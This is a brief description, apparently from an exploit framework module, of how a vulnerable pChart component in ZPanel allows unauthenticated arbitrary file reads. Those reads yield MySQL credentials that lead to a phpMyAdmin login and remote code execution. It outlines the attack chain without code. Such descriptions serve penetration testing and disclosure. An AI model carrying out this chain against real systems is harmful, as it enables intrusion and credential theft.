        This module exploits an information disclosure vulnerability
        in Zpanel. The vulnerability is due to a vulnerable version
        of pChart used by ZPanel that allows unauthenticated users to read
        arbitrary files remotely on the file system. This particular module
        utilizes this vulnerability to identify the username/password
        combination of the MySQL instance. With the
        credentials the attackers can login to PHPMyAdmin and execute
        SQL commands to drop a malicious payload on the filesystem and
        call it leading to remote code execution.
